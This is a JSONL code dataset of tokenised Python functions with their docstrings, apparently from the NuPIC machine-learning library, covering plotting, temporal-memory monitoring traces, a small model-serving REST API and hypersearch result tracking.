{"signature": "def add2DArray(self, data, position=<NUM_LIT>, xlabel=None, ylabel=None, cmap=None,<EOL>aspect=\"<STR_LIT>\", interpolation=\"<STR_LIT>\", name=None):", "body": "if cmap is None:<EOL><INDENT>cmap = cm.Greys<EOL><DEDENT>ax = self._addBase(position, xlabel=xlabel, ylabel=ylabel)<EOL>ax.imshow(data, cmap=cmap, aspect=aspect, interpolation=interpolation)<EOL>if self._show:<EOL><INDENT>plt.draw()<EOL><DEDENT>if name is not None:<EOL><INDENT>if not os.path.exists(\"<STR_LIT>\"):<EOL><INDENT>os.mkdir(\"<STR_LIT>\")<EOL><DEDENT>plt.savefig(\"<STR_LIT>\".format(name=name), bbox_inches=\"<STR_LIT>\",<EOL>figsize=(<NUM_LIT:8>, <NUM_LIT:6>), dpi=<NUM_LIT>)<EOL><DEDENT>", "docstring": "Adds an image to the plot's figure.\n\n        @param data a 2D array. See matplotlib.Axes.imshow documentation.\n        @param position A 3-digit number. The first two digits define a 2D grid\n                where subplots may be added. The final digit specifies the nth grid\n                location for the added subplot\n        @param xlabel text to be displayed on the x-axis\n        @param ylabel text to be displayed on the y-axis\n        @param cmap color map used in the rendering\n        @param aspect how aspect ratio is handled during resize\n        @param interpolation interpolation method", "id": "f17573:c0:m5"}
{"signature": "def _addBase(self, position, xlabel=None, ylabel=None):", "body": "ax = self._fig.add_subplot(position)<EOL>ax.set_xlabel(xlabel)<EOL>ax.set_ylabel(ylabel)<EOL>return ax<EOL>", "docstring": "Adds a subplot to the plot's figure at specified position.\n\n        @param position A 3-digit number. The first two digits define a 2D grid\n                where subplots may be added. The final digit specifies the nth grid\n                location for the added subplot\n        @param xlabel text to be displayed on the x-axis\n        @param ylabel text to be displayed on the y-axis\n        @returns (matplotlib.Axes) Axes instance", "id": "f17573:c0:m6"}
{"signature": "def mmGetTraceActiveColumns(self):", "body": "return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of active columns", "id": "f17574:c0:m1"}
{"signature": "def mmGetTracePredictiveCells(self):", "body": "return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of predictive cells", "id": "f17574:c0:m2"}
{"signature": "def mmGetTraceNumSegments(self):", "body": "return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of # segments", "id": "f17574:c0:m3"}
{"signature": "def mmGetTraceNumSynapses(self):", "body": "return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of # synapses", "id": "f17574:c0:m4"}
{"signature": "def mmGetTraceSequenceLabels(self):", "body": "return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of sequence labels", "id": "f17574:c0:m5"}
{"signature": "def mmGetTraceResets(self):", "body": "return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of resets", "id": "f17574:c0:m6"}
{"signature": "def mmGetTracePredictedActiveCells(self):", "body": "self._mmComputeTransitionTraces()<EOL>return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of predicted => active cells", "id": "f17574:c0:m7"}
{"signature": "def mmGetTracePredictedInactiveCells(self):", "body": "self._mmComputeTransitionTraces()<EOL>return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of predicted => inactive cells", "id": "f17574:c0:m8"}
{"signature": "def mmGetTracePredictedActiveColumns(self):", "body": "self._mmComputeTransitionTraces()<EOL>return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of predicted => active columns", "id": "f17574:c0:m9"}
{"signature": "def mmGetTracePredictedInactiveColumns(self):", "body": "self._mmComputeTransitionTraces()<EOL>return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of predicted => inactive columns", "id": "f17574:c0:m10"}
{"signature": "def mmGetTraceUnpredictedActiveColumns(self):", "body": "self._mmComputeTransitionTraces()<EOL>return self._mmTraces[\"<STR_LIT>\"]<EOL>", "docstring": "@return (Trace) Trace of unpredicted => active columns", "id": "f17574:c0:m11"}
{"signature": "def mmGetMetricFromTrace(self, trace):", "body": "return Metric.createFromTrace(trace.makeCountsTrace(),<EOL>excludeResets=self.mmGetTraceResets())<EOL>", "docstring": "Convenience method to compute a metric over an indices trace, excluding\nresets.\n\n@param (IndicesTrace) Trace of indices\n\n@return (Metric) Metric over trace excluding resets", "id": "f17574:c0:m12"}
{"signature": "def mmGetMetricSequencesPredictedActiveCellsPerColumn(self):", "body": "self._mmComputeTransitionTraces()<EOL>numCellsPerColumn = []<EOL>for predictedActiveCells in (<EOL>self._mmData[\"<STR_LIT>\"].values()):<EOL><INDENT>cellsForColumn = self.mapCellsToColumns(predictedActiveCells)<EOL>numCellsPerColumn += [len(x) for x in cellsForColumn.values()]<EOL><DEDENT>return Metric(self,<EOL>\"<STR_LIT>\",<EOL>numCellsPerColumn)<EOL>", "docstring": "Metric for number of predicted => active cells per column for each sequence\n\n@return (Metric) metric", "id": "f17574:c0:m13"}
{"signature": "def mmGetMetricSequencesPredictedActiveCellsShared(self):", "body": "self._mmComputeTransitionTraces()<EOL>numSequencesForCell = defaultdict(lambda: <NUM_LIT:0>)<EOL>for predictedActiveCells in (<EOL>self._mmData[\"<STR_LIT>\"].values()):<EOL><INDENT>for cell in predictedActiveCells:<EOL><INDENT>numSequencesForCell[cell] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return Metric(self,<EOL>\"<STR_LIT>\",<EOL>numSequencesForCell.values())<EOL>", "docstring": "Metric for number of sequences each predicted => active cell appears in\n\nNote: This metric is flawed when it comes to high-order sequences.\n\n@return (Metric) metric", "id": "f17574:c0:m14"}
{"signature": "def mmPrettyPrintConnections(self):", "body": "text = \"<STR_LIT>\"<EOL>text += (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>text += \"<STR_LIT>\"<EOL>columns = range(self.numberOfColumns())<EOL>for column in columns:<EOL><INDENT>cells = self.cellsForColumn(column)<EOL>for cell in cells:<EOL><INDENT>segmentDict = dict()<EOL>for seg in self.connections.segmentsForCell(cell):<EOL><INDENT>synapseList = []<EOL>for synapse in self.connections.synapsesForSegment(seg):<EOL><INDENT>synapseData = self.connections.dataForSynapse(synapse)<EOL>synapseList.append(<EOL>(synapseData.presynapticCell, synapseData.permanence))<EOL><DEDENT>synapseList.sort()<EOL>synapseStringList = [\"<STR_LIT>\".format(sourceCell, permanence) for<EOL>sourceCell, permanence in synapseList]<EOL>segmentDict[seg] = \"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(synapseStringList))<EOL><DEDENT>text += (\"<STR_LIT>\".format(<EOL>column, cell,<EOL>len(segmentDict.values()),<EOL>\"<STR_LIT>\".format(\"<STR_LIT:U+002CU+0020>\".join(segmentDict.values()))))<EOL><DEDENT>if column < len(columns) - <NUM_LIT:1>:  <EOL><INDENT>text += \"<STR_LIT:\\n>\"<EOL><DEDENT><DEDENT>text += \"<STR_LIT>\"<EOL>return text<EOL>", "docstring": "Pretty print the connections in the temporal memory.\n\nTODO: Use PrettyTable.\n\n@return (string) Pretty-printed text", "id": "f17574:c0:m15"}
{"signature": "def mmPrettyPrintSequenceCellRepresentations(self, sortby=\"<STR_LIT>\"):", "body": "self._mmComputeTransitionTraces()<EOL>table = PrettyTable([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL>for sequenceLabel, predictedActiveCells in (<EOL>self._mmData[\"<STR_LIT>\"].iteritems()):<EOL><INDENT>cellsForColumn = self.mapCellsToColumns(predictedActiveCells)<EOL>for column, cells in cellsForColumn.iteritems():<EOL><INDENT>table.add_row([sequenceLabel, column, list(cells)])<EOL><DEDENT><DEDENT>return table.get_string(sortby=sortby).encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Pretty print the cell representations for sequences in the history.\n\n@param sortby (string) Column of table to sort by\n\n@return (string) Pretty-printed text", "id": "f17574:c0:m16"}
{"signature": "def _mmComputeTransitionTraces(self):", "body": "if not self._mmTransitionTracesStale:<EOL><INDENT>return<EOL><DEDENT>self._mmData[\"<STR_LIT>\"] = defaultdict(set)<EOL>self._mmTraces[\"<STR_LIT>\"] = IndicesTrace(self,<EOL>\"<STR_LIT>\")<EOL>self._mmTraces[\"<STR_LIT>\"] = IndicesTrace(self,<EOL>\"<STR_LIT>\")<EOL>self._mmTraces[\"<STR_LIT>\"] = IndicesTrace(self,<EOL>\"<STR_LIT>\")<EOL>self._mmTraces[\"<STR_LIT>\"] = IndicesTrace(self,<EOL>\"<STR_LIT>\")<EOL>self._mmTraces[\"<STR_LIT>\"] = IndicesTrace(self,<EOL>\"<STR_LIT>\")<EOL>predictedCellsTrace = self._mmTraces[\"<STR_LIT>\"]<EOL>for i, activeColumns in enumerate(self.mmGetTraceActiveColumns().data):<EOL><INDENT>predictedActiveCells = set()<EOL>predictedInactiveCells = set()<EOL>predictedActiveColumns = set()<EOL>predictedInactiveColumns = set()<EOL>for predictedCell in predictedCellsTrace.data[i]:<EOL><INDENT>predictedColumn = self.columnForCell(predictedCell)<EOL>if predictedColumn  in activeColumns:<EOL><INDENT>predictedActiveCells.add(predictedCell)<EOL>predictedActiveColumns.add(predictedColumn)<EOL>sequenceLabel = self.mmGetTraceSequenceLabels().data[i]<EOL>if sequenceLabel is not None:<EOL><INDENT>self._mmData[\"<STR_LIT>\"][sequenceLabel].add(<EOL>predictedCell)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>predictedInactiveCells.add(predictedCell)<EOL>predictedInactiveColumns.add(predictedColumn)<EOL><DEDENT><DEDENT>unpredictedActiveColumns = activeColumns - predictedActiveColumns<EOL>self._mmTraces[\"<STR_LIT>\"].data.append(predictedActiveCells)<EOL>self._mmTraces[\"<STR_LIT>\"].data.append(predictedInactiveCells)<EOL>self._mmTraces[\"<STR_LIT>\"].data.append(predictedActiveColumns)<EOL>self._mmTraces[\"<STR_LIT>\"].data.append(<EOL>predictedInactiveColumns)<EOL>self._mmTraces[\"<STR_LIT>\"].data.append(<EOL>unpredictedActiveColumns)<EOL><DEDENT>self._mmTransitionTracesStale = False<EOL>", "docstring": "Computes the transition traces, if necessary.\n\nTransition traces are the following:\n\n    predicted => active cells\n    predicted => inactive cells\n    predicted => active columns\n    predicted => inactive columns\n    unpredicted => active columns", "id": "f17574:c0:m17"}
{"signature": "def mmGetCellActivityPlot(self, title=\"<STR_LIT>\", showReset=False,<EOL>resetShading=<NUM_LIT>, activityType=\"<STR_LIT>\"):", "body": "if activityType == \"<STR_LIT>\":<EOL><INDENT>self._mmComputeTransitionTraces()<EOL><DEDENT>cellTrace = copy.deepcopy(self._mmTraces[activityType].data)<EOL>for i in xrange(len(cellTrace)):<EOL><INDENT>cellTrace[i] = self.getCellIndices(cellTrace[i])<EOL><DEDENT>return self.mmGetCellTracePlot(cellTrace, self.numberOfCells(),<EOL>activityType, title, showReset,<EOL>resetShading)<EOL>", "docstring": "Returns plot of the cell activity.\n\n@param title        (string)  an optional title for the figure\n\n@param showReset    (bool)    if true, the first set of cell activities\n                              after a reset will have a gray background\n\n@param resetShading (float)   if showReset is true, this float specifies the\n                              intensity of the reset background with 0.0\n                              being white and 1.0 being black\n\n@param activityType (string)  The type of cell activity to display. Valid\n                              types include \"activeCells\",\n                              \"predictiveCells\", \"predictedCells\",\n                              and \"predictedActiveCells\"\n\n@return (Plot) plot", "id": "f17574:c0:m23"}
{"signature": "def __init__(self, monitor, title, data):", "body": "self.monitor = monitor<EOL>self.title = title<EOL>self.min = None<EOL>self.max = None<EOL>self.sum = None<EOL>self.mean = None<EOL>self.standardDeviation = None<EOL>self._computeStats(data)<EOL>", "docstring": "@param monitor (MonitorMixinBase) Monitor Mixin instance that generated\n                                  this trace\n@param title   (string)           Title\n@param data    (list)             List of numbers to compute metric from", "id": "f17575:c0:m0"}
{"signature": "def __init__(self, monitor, title):", "body": "self.monitor = monitor<EOL>self.title = title<EOL>self.data = []<EOL>", "docstring": "@param monitor (MonitorMixinBase) Monitor Mixin instance that generated\n                                  this trace\n@param title   (string)           Title", "id": "f17576:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def prettyPrintDatum(datum):<DEDENT>", "body": "return str(datum) if datum is not None else \"<STR_LIT>\"<EOL>", "docstring": "@param datum (object) Datum from `self.data` to pretty-print\n\n@return (string) Pretty-printed datum", "id": "f17576:c0:m2"}
{"signature": "def makeCountsTrace(self):", "body": "trace = CountsTrace(self.monitor, \"<STR_LIT>\".format(self.title))<EOL>trace.data = [len(indices) for indices in self.data]<EOL>return trace<EOL>", "docstring": "@return (CountsTrace) A new Trace made up of counts of this trace's indices.", "id": "f17576:c1:m0"}
{"signature": "def makeCumCountsTrace(self):", "body": "trace = CountsTrace(self.monitor, \"<STR_LIT>\".format(self.title))<EOL>countsTrace = self.makeCountsTrace()<EOL>def accumulate(iterator):<EOL><INDENT>total = <NUM_LIT:0><EOL>for item in iterator:<EOL><INDENT>total += item<EOL>yield total<EOL><DEDENT><DEDENT>trace.data = list(accumulate(countsTrace.data))<EOL>return trace<EOL>", "docstring": "@return (CountsTrace) A new Trace made up of cumulative counts of this\ntrace's indices.", "id": "f17576:c1:m1"}
{"signature": "def GET(self):", "body": "global g_models<EOL>return json.dumps({\"<STR_LIT>\": g_models.keys()})<EOL>", "docstring": "/models\n\nreturns:\n[model1, model2, model3, ...] list of model names", "id": "f17578:c0:m0"}
{"signature": "def POST(self, name):", "body": "global g_models<EOL>data = json.loads(web.data())<EOL>modelParams = data[\"<STR_LIT>\"]<EOL>predictedFieldName = data[\"<STR_LIT>\"]<EOL>if name in g_models.keys():<EOL><INDENT>raise web.badrequest(\"<STR_LIT>\" % name)<EOL><DEDENT>model = ModelFactory.create(modelParams)<EOL>model.enableInference({'<STR_LIT>': predictedFieldName})<EOL>g_models[name] = model<EOL>return json.dumps({\"<STR_LIT:success>\": name})<EOL>", "docstring": "/models/{name}\n\nschema:\n{\n  \"modelParams\": dict containing model parameters\n  \"predictedFieldName\": str\n}\n\nreturns:\n{\"success\":name}", "id": "f17578:c0:m1"}
{"signature": "def POST(self, name):", "body": "global g_models<EOL>data = json.loads(web.data())<EOL>data[\"<STR_LIT>\"] = datetime.datetime.strptime(<EOL>data[\"<STR_LIT>\"], \"<STR_LIT>\")<EOL>if name not in g_models.keys():<EOL><INDENT>raise web.notfound(\"<STR_LIT>\" % name)<EOL><DEDENT>modelResult = g_models[name].run(data)<EOL>predictionNumber = modelResult.predictionNumber<EOL>anomalyScore = modelResult.inferences[\"<STR_LIT>\"]<EOL>return json.dumps({\"<STR_LIT>\": predictionNumber,<EOL>\"<STR_LIT>\": anomalyScore})<EOL>", "docstring": "/models/{name}/run\n\nschema:\n  {\n    predictedFieldName: value\n    timestamp: %m/%d/%y %H:%M\n  }\n  NOTE: predictedFieldName MUST be the same name specified when\n        creating the model.\n\nreturns:\n{\n  \"predictionNumber\":<number of record>,\n  \"anomalyScore\":anomalyScore\n}", "id": "f17578:c1:m0"}
{"signature": "def __init__(self, hsObj):", "body": "self._hsObj = hsObj<EOL>self._allResults = []<EOL>self._errModels = set()<EOL>self._numErrModels = <NUM_LIT:0><EOL>self._completedModels = set()<EOL>self._numCompletedModels = <NUM_LIT:0><EOL>self._modelIDToIdx = dict()<EOL>self._bestResult = numpy.inf<EOL>self._bestModelID = None<EOL>self._swarmBestOverall = dict()<EOL>self._swarmNumParticlesPerGeneration = dict()<EOL>self._modifiedSwarmGens = set()<EOL>self._maturedSwarmGens = set()<EOL>self._particleBest = dict()<EOL>self._particleLatestGenIdx = dict()<EOL>self._swarmIdToIndexes = dict()<EOL>self._paramsHashToIndexes = dict()<EOL>", "docstring": "Instantiate our results database\n\n        Parameters:\n        --------------------------------------------------------------------\n        hsObj:        Reference to the HypersearchV2 instance", "id": "f17579:c0:m0"}
{"signature": "def update(self, modelID, modelParams, modelParamsHash, metricResult,<EOL>completed, completionReason, matured, numRecords):", "body": "<EOL>assert (modelParamsHash is not None)<EOL>if completed:<EOL><INDENT>matured = True<EOL><DEDENT>if metricResult is not None and matured andcompletionReason in [ClientJobsDAO.CMPL_REASON_EOF,<EOL>ClientJobsDAO.CMPL_REASON_STOPPED]:<EOL><INDENT>if self._hsObj._maximize:<EOL><INDENT>errScore = -<NUM_LIT:1> * metricResult<EOL><DEDENT>else:<EOL><INDENT>errScore = metricResult<EOL><DEDENT>if errScore < self._bestResult:<EOL><INDENT>self._bestResult = errScore<EOL>self._bestModelID = modelID<EOL>self._hsObj.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (len(self._allResults), self._bestResult,<EOL>self._bestModelID))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>errScore = numpy.inf<EOL><DEDENT>if completed and completionReason in [ClientJobsDAO.CMPL_REASON_ORPHAN]:<EOL><INDENT>errScore = numpy.inf<EOL>hidden = True<EOL><DEDENT>else:<EOL><INDENT>hidden = False<EOL><DEDENT>if completed:<EOL><INDENT>self._completedModels.add(modelID)<EOL>self._numCompletedModels = len(self._completedModels)<EOL>if completionReason == ClientJobsDAO.CMPL_REASON_ERROR:<EOL><INDENT>self._errModels.add(modelID)<EOL>self._numErrModels = len(self._errModels)<EOL><DEDENT><DEDENT>wasHidden = False<EOL>if modelID not in self._modelIDToIdx:<EOL><INDENT>assert (modelParams is not None)<EOL>entry = dict(modelID=modelID, modelParams=modelParams,<EOL>modelParamsHash=modelParamsHash,<EOL>errScore=errScore, completed=completed,<EOL>matured=matured, numRecords=numRecords, hidden=hidden)<EOL>self._allResults.append(entry)<EOL>entryIdx = len(self._allResults) - <NUM_LIT:1><EOL>self._modelIDToIdx[modelID] = entryIdx<EOL>self._paramsHashToIndexes[modelParamsHash] = entryIdx<EOL>swarmId = modelParams['<STR_LIT>']['<STR_LIT>']<EOL>if not hidden:<EOL><INDENT>if swarmId in self._swarmIdToIndexes:<EOL><INDENT>self._swarmIdToIndexes[swarmId].append(entryIdx)<EOL><DEDENT>else:<EOL><INDENT>self._swarmIdToIndexes[swarmId] = [entryIdx]<EOL><DEDENT>genIdx = modelParams['<STR_LIT>']['<STR_LIT>']<EOL>numPsEntry = self._swarmNumParticlesPerGeneration.get(swarmId, [<NUM_LIT:0>])<EOL>while genIdx >= len(numPsEntry):<EOL><INDENT>numPsEntry.append(<NUM_LIT:0>)<EOL><DEDENT>numPsEntry[genIdx] += <NUM_LIT:1><EOL>self._swarmNumParticlesPerGeneration[swarmId] = numPsEntry<EOL><DEDENT><DEDENT>else:<EOL><INDENT>entryIdx = self._modelIDToIdx.get(modelID, None)<EOL>assert (entryIdx is not None)<EOL>entry = self._allResults[entryIdx]<EOL>wasHidden = entry['<STR_LIT>']<EOL>if entry['<STR_LIT>'] != modelParamsHash:<EOL><INDENT>self._paramsHashToIndexes.pop(entry['<STR_LIT>'])<EOL>self._paramsHashToIndexes[modelParamsHash] = entryIdx<EOL>entry['<STR_LIT>'] = modelParamsHash<EOL><DEDENT>modelParams = entry['<STR_LIT>']<EOL>swarmId = modelParams['<STR_LIT>']['<STR_LIT>']<EOL>genIdx = modelParams['<STR_LIT>']['<STR_LIT>']<EOL>if hidden and not wasHidden:<EOL><INDENT>assert (entryIdx in self._swarmIdToIndexes[swarmId])<EOL>self._swarmIdToIndexes[swarmId].remove(entryIdx)<EOL>self._swarmNumParticlesPerGeneration[swarmId][genIdx] -= <NUM_LIT:1><EOL><DEDENT>entry['<STR_LIT>']  = errScore<EOL>entry['<STR_LIT>'] = completed<EOL>entry['<STR_LIT>'] = matured<EOL>entry['<STR_LIT>'] = numRecords<EOL>entry['<STR_LIT>'] = hidden<EOL><DEDENT>particleId = modelParams['<STR_LIT>']['<STR_LIT:id>']<EOL>genIdx = modelParams['<STR_LIT>']['<STR_LIT>']<EOL>if matured and not hidden:<EOL><INDENT>(oldResult, pos) = self._particleBest.get(particleId, (numpy.inf, None))<EOL>if errScore < oldResult:<EOL><INDENT>pos = Particle.getPositionFromState(modelParams['<STR_LIT>'])<EOL>self._particleBest[particleId] = (errScore, pos)<EOL><DEDENT><DEDENT>prevGenIdx = self._particleLatestGenIdx.get(particleId, -<NUM_LIT:1>)<EOL>if not hidden and genIdx > prevGenIdx:<EOL><INDENT>self._particleLatestGenIdx[particleId] = genIdx<EOL><DEDENT>elif hidden and not wasHidden and genIdx == prevGenIdx:<EOL><INDENT>self._particleLatestGenIdx[particleId] = genIdx-<NUM_LIT:1><EOL><DEDENT>if not hidden:<EOL><INDENT>swarmId = modelParams['<STR_LIT>']['<STR_LIT>']<EOL>if not swarmId in self._swarmBestOverall:<EOL><INDENT>self._swarmBestOverall[swarmId] = []<EOL><DEDENT>bestScores = self._swarmBestOverall[swarmId]<EOL>while genIdx >= len(bestScores):<EOL><INDENT>bestScores.append((None, numpy.inf))<EOL><DEDENT>if errScore < bestScores[genIdx][<NUM_LIT:1>]:<EOL><INDENT>bestScores[genIdx] = (modelID, errScore)<EOL><DEDENT><DEDENT>if not hidden:<EOL><INDENT>key = (swarmId, genIdx)<EOL>if not key in self._maturedSwarmGens:<EOL><INDENT>self._modifiedSwarmGens.add(key)<EOL><DEDENT><DEDENT>return errScore<EOL>", "docstring": "Insert a new entry or update an existing one. If this is an update\n        of an existing entry, then modelParams will be None\n\n        Parameters:\n        --------------------------------------------------------------------\n        modelID:       globally unique modelID of this model\n        modelParams:    params dict for this model, or None if this is just an update\n                        of a model that it already previously reported on.\n\n                        See the comments for the createModels() method for\n                        a description of this dict.\n\n        modelParamsHash:  hash of the modelParams dict, generated by the worker\n                        that put it into the model database.\n        metricResult:   value on the optimizeMetric for this model.\n                        May be None if we have no results yet.\n        completed:      True if the model has completed evaluation, False if it\n                          is still running (and these are online results)\n        completionReason: One of the ClientJobsDAO.CMPL_REASON_XXX equates\n        matured:        True if this model has matured\n        numRecords:     Number of records that have been processed so far by this\n                          model.\n\n        retval: Canonicalized result on the optimize metric", "id": "f17579:c0:m1"}
{"signature": "def getNumErrModels(self):", "body": "return self._numErrModels<EOL>", "docstring": "Return number of models that completed with errors.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:      # if models", "id": "f17579:c0:m2"}
{"signature": "def getErrModelIds(self):", "body": "return list(self._errModels)<EOL>", "docstring": "Return list of models IDs that completed with errors.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:      # if models", "id": "f17579:c0:m3"}
{"signature": "def getNumCompletedModels(self):", "body": "return self._numCompletedModels<EOL>", "docstring": "Return total number of models that completed.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:      # if models that completed", "id": "f17579:c0:m4"}
{"signature": "def getModelIDFromParamsHash(self, paramsHash):", "body": "entryIdx = self. _paramsHashToIndexes.get(paramsHash, None)<EOL>if entryIdx is not None:<EOL><INDENT>return self._allResults[entryIdx]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the modelID of the model with the given paramsHash, or\n        None if not found.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        paramsHash:  paramsHash to look for\n        retval:      modelId, or None if not found", "id": "f17579:c0:m5"}
{"signature": "def numModels(self, swarmId=None, includeHidden=False):", "body": "<EOL>if includeHidden:<EOL><INDENT>if swarmId is None:<EOL><INDENT>return len(self._allResults)<EOL><DEDENT>else:<EOL><INDENT>return len(self._swarmIdToIndexes.get(swarmId, []))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if swarmId is None:<EOL><INDENT>entries = self._allResults<EOL><DEDENT>else:<EOL><INDENT>entries = [self._allResults[entryIdx]<EOL>for entryIdx in self._swarmIdToIndexes.get(swarmId,[])]<EOL><DEDENT>return len([entry for entry in entries if not entry['<STR_LIT>']])<EOL><DEDENT>", "docstring": "Return the total # of models we have in our database (if swarmId is\n        None) or in a specific swarm.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:        A string representation of the sorted list of encoders\n                        in this swarm. For example '__address_encoder.__gym_encoder'\n        includeHidden:  If False, this will only return the number of models\n                        that are not hidden (i.e. orphanned, etc.)\n        retval:  numModels", "id": "f17579:c0:m6"}
{"signature": "def bestModelIdAndErrScore(self, swarmId=None, genIdx=None):", "body": "if swarmId is None:<EOL><INDENT>return (self._bestModelID, self._bestResult)<EOL><DEDENT>else:<EOL><INDENT>if swarmId not in self._swarmBestOverall:<EOL><INDENT>return (None, numpy.inf)<EOL><DEDENT>genScores = self._swarmBestOverall[swarmId]<EOL>bestModelId = None<EOL>bestScore = numpy.inf<EOL>for (i, (modelId, errScore)) in enumerate(genScores):<EOL><INDENT>if genIdx is not None and i > genIdx:<EOL><INDENT>break<EOL><DEDENT>if errScore < bestScore:<EOL><INDENT>bestScore = errScore<EOL>bestModelId = modelId<EOL><DEDENT><DEDENT>return (bestModelId, bestScore)<EOL><DEDENT>", "docstring": "Return the model ID of the model with the best result so far and\n        it's score on the optimize metric. If swarm is None, then it returns\n        the global best, otherwise it returns the best for the given swarm\n        for all generatons up to and including genIdx.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:  A string representation of the sorted list of encoders in this\n                     swarm. For example '__address_encoder.__gym_encoder'\n        genIdx:   consider the best in all generations up to and including this\n                    generation if not None.\n        retval:  (modelID, result)", "id": "f17579:c0:m7"}
{"signature": "def getParticleInfo(self, modelId):", "body": "entry = self._allResults[self._modelIDToIdx[modelId]]<EOL>return (entry['<STR_LIT>']['<STR_LIT>'], modelId, entry['<STR_LIT>'],<EOL>entry['<STR_LIT>'], entry['<STR_LIT>'])<EOL>", "docstring": "Return particle info for a specific modelId.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        modelId:  which model Id\n\n        retval:  (particleState, modelId, errScore, completed, matured)", "id": "f17579:c0:m8"}
{"signature": "def getParticleInfos(self, swarmId=None, genIdx=None, completed=None,<EOL>matured=None, lastDescendent=False):", "body": "<EOL>if swarmId is not None:<EOL><INDENT>entryIdxs = self._swarmIdToIndexes.get(swarmId, [])<EOL><DEDENT>else:<EOL><INDENT>entryIdxs = list(range(len(self._allResults)))<EOL><DEDENT>if len(entryIdxs) == <NUM_LIT:0>:<EOL><INDENT>return ([], [], [], [], [])<EOL><DEDENT>particleStates = []<EOL>modelIds = []<EOL>errScores = []<EOL>completedFlags = []<EOL>maturedFlags = []<EOL>for idx in entryIdxs:<EOL><INDENT>entry = self._allResults[idx]<EOL>if swarmId is not None:<EOL><INDENT>assert (not entry['<STR_LIT>'])<EOL><DEDENT>modelParams = entry['<STR_LIT>']<EOL>isCompleted = entry['<STR_LIT>']<EOL>isMatured = entry['<STR_LIT>']<EOL>particleState = modelParams['<STR_LIT>']<EOL>particleGenIdx = particleState['<STR_LIT>']<EOL>particleId = particleState['<STR_LIT:id>']<EOL>if genIdx is not None and particleGenIdx != genIdx:<EOL><INDENT>continue<EOL><DEDENT>if completed is not None and (completed != isCompleted):<EOL><INDENT>continue<EOL><DEDENT>if matured is not None and (matured != isMatured):<EOL><INDENT>continue<EOL><DEDENT>if lastDescendentand (self._particleLatestGenIdx[particleId] != particleGenIdx):<EOL><INDENT>continue<EOL><DEDENT>particleStates.append(particleState)<EOL>modelIds.append(entry['<STR_LIT>'])<EOL>errScores.append(entry['<STR_LIT>'])<EOL>completedFlags.append(isCompleted)<EOL>maturedFlags.append(isMatured)<EOL><DEDENT>return (particleStates, modelIds, errScores, completedFlags, maturedFlags)<EOL>", "docstring": "Return a list of particleStates for all particles we know about in\n        the given swarm, their model Ids, and metric results.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:  A string representation of the sorted list of encoders in this\n                     swarm. For example '__address_encoder.__gym_encoder'\n\n        genIdx:  If not None, only return particles at this specific generation\n                      index.\n\n        completed:   If not None, only return particles of the given state (either\n                    completed if 'completed' is True, or running if 'completed'\n                    is false\n\n        matured:   If not None, only return particles of the given state (either\n                    matured if 'matured' is True, or not matured if 'matured'\n                    is false. Note that any model which has completed is also\n                    considered matured.\n\n        lastDescendent: If True, only return particles that are the last descendent,\n                    that is, the highest generation index for a given particle Id\n\n        retval:  (particleStates, modelIds, errScores, completed, matured)\n                  particleStates: list of particleStates\n                  modelIds: list of modelIds\n                  errScores: list of errScores, numpy.inf is plugged in\n                                  if we don't have a result yet\n                  completed: list of completed booleans\n                  matured: list of matured booleans", "id": "f17579:c0:m9"}
{"signature": "def getOrphanParticleInfos(self, swarmId, genIdx):", "body": "entryIdxs = list(range(len(self._allResults)))<EOL>if len(entryIdxs) == <NUM_LIT:0>:<EOL><INDENT>return ([], [], [], [], [])<EOL><DEDENT>particleStates = []<EOL>modelIds = []<EOL>errScores = []<EOL>completedFlags = []<EOL>maturedFlags = []<EOL>for idx in entryIdxs:<EOL><INDENT>entry = self._allResults[idx]<EOL>if not entry['<STR_LIT>']:<EOL><INDENT>continue<EOL><DEDENT>modelParams = entry['<STR_LIT>']<EOL>if modelParams['<STR_LIT>']['<STR_LIT>'] != swarmId:<EOL><INDENT>continue<EOL><DEDENT>isCompleted = entry['<STR_LIT>']<EOL>isMatured = entry['<STR_LIT>']<EOL>particleState = modelParams['<STR_LIT>']<EOL>particleGenIdx = particleState['<STR_LIT>']<EOL>particleId = particleState['<STR_LIT:id>']<EOL>if genIdx is not None and particleGenIdx != genIdx:<EOL><INDENT>continue<EOL><DEDENT>particleStates.append(particleState)<EOL>modelIds.append(entry['<STR_LIT>'])<EOL>errScores.append(entry['<STR_LIT>'])<EOL>completedFlags.append(isCompleted)<EOL>maturedFlags.append(isMatured)<EOL><DEDENT>return (particleStates, modelIds, errScores, completedFlags, maturedFlags)<EOL>", "docstring": "Return a list of particleStates for all particles in the given\n        swarm generation that have been orphaned.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:  A 